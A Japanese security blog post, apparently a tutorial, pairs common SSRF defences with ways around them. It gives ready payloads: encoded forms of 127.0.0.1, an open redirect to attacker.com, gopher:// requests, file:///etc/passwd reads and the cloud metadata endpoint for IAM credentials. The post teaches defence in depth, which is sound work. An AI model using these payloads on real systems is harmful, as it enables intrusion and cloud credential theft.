Shikata Ga Nai

Private? There is no such things.

SSRF対策の回避方法

Hello there, ('ω')ノ

1. よくあるSSRF対策と回避方法

① ローカルIP(127.0.0.1、内部ネットワーク)へのリクエスト制限

🔹 対策
- 127.0.0.1localhost192.168.x.x などの プライベートIPレンジ へのアクセスをブロックする

🔸 回避方法
1. DNSリバインディング
- 攻撃者が 一時的に外部ドメインを正規のサーバーに解決 させることで、ローカルIPへのリクエストを実行できる
- 例:
- evil.com のDNSを 攻撃者のサーバー(外部IP)に向ける
- SSRFリクエストが送信された直後に evil.com のDNSを 127.0.0.1 に変更
- これにより、SSRFを使って内部ネットワークにアクセス可能 になる

  1. 変形したIPアドレスを使用
    • 127.0.0.1 のような ブロック対象のIPアドレス を異なる表現で記述すると、フィルタを回避できることがある
    • 例: plaintext http://2130706433 # 127.0.0.1 を整数表記 http://0x7F000001 # 16進数表記 http://0177.0000.0000.0001 # 8進数表記
    • これらの形式は 最終的に127.0.0.1に変換されるため、SSRF攻撃が可能になる

② ホワイトリストベースのURLフィルタリング

🔹 対策
- stock.weliketoshop.net のような 特定のドメインのみ許可 するホワイトリストを適用

🔸 回避方法
1. オープンリダイレクトを利用
- 許可されたドメインにリクエストを送った後、攻撃者の用意したページへリダイレクトさせる
- 例: http stockApi=http://stock.weliketoshop.net/redirect?url=http://attacker.com - これにより、リクエストが外部サーバーへ転送される

  1. サブドメインの利用
    • ホワイトリストが *.weliketoshop.net を許可している場合、攻撃者は evil.weliketoshop.net という 悪意のあるサブドメイン を作成して利用できる

③ URLスキーム(http/https)の制限

🔹 対策
- file://gopher:// などの 危険なプロトコルを禁止 し、httphttps のみ許可する

🔸 回避方法

  1. 期待されるプロトコルに見せかける

    • 一部のサーバーでは、リクエストのエンコード処理にバグがある ため、特定の形式でスキームを変更できる
    • 例: plaintext gopher://127.0.0.1:80/_GET%20/admin%20HTTP/1.1%0A
    • gopher:// プロトコルを使うと、任意のHTTPリクエストを作成できる ため、内部APIや管理パネルを操作可能
  2. FTPやFILEプロトコルを利用

    • file://ftp:// を利用すると、サーバーの内部ファイルを読み取れる場合がある
    • 例: plaintext file:///etc/passwd # Linuxのユーザー情報を取得 ftp://127.0.0.1/etc/passwd
    • 設定ファイルや環境変数ファイル(.env)を取得できる場合もある

④ SSRF対策として外部リクエストをブロック

🔹 対策
- サーバーが 外部へのリクエストを完全にブロック し、SSRFを実行できないようにする

🔸 回避方法

  1. クラウドメタデータAPIの悪用

    • AWS / GCP / Azure などのクラウド環境では、メタデータAPIがローカルIPでアクセス可能
    • 例:AWSのIAMキーを取得 http stockApi=http://169.254.169.254/latest/meta-data/iam/security-credentials/
    • これにより、クラウドアカウントを乗っ取れる可能性がある
  2. 内部リクエストが許可されている場合を利用

    • アプリケーションのバックエンドAPI にはアクセスできるが、外部サイトにはアクセスできない場合、バックエンドAPIを悪用する
    • 例:
      • http://backend.internal/api/getUser?user=admin
      • ここにSSRFを送って、内部データを取得する

2. まとめ

対策 回避方法
ローカルIPの制限 DNSリバインディング、IPエンコード(16進数、8進数)
ホワイトリストの適用 オープンリダイレクト、サブドメイン攻撃
URLスキーム制限 gopher:// でHTTPリクエスト作成、file:// でファイル取得
外部リクエストブロック クラウドメタデータAPI(169.254.169.254)を悪用、内部APIの利用

🔥 SSRFの防御策は完全ではなく、適切に設計しないと簡単に回避される可能性がある!
多層的な対策(WAF、ファイアウォール、ネットワーク分離、アプリケーションレイヤーでのバリデーション)を適用することが重要!

Best regards, (^^ゞ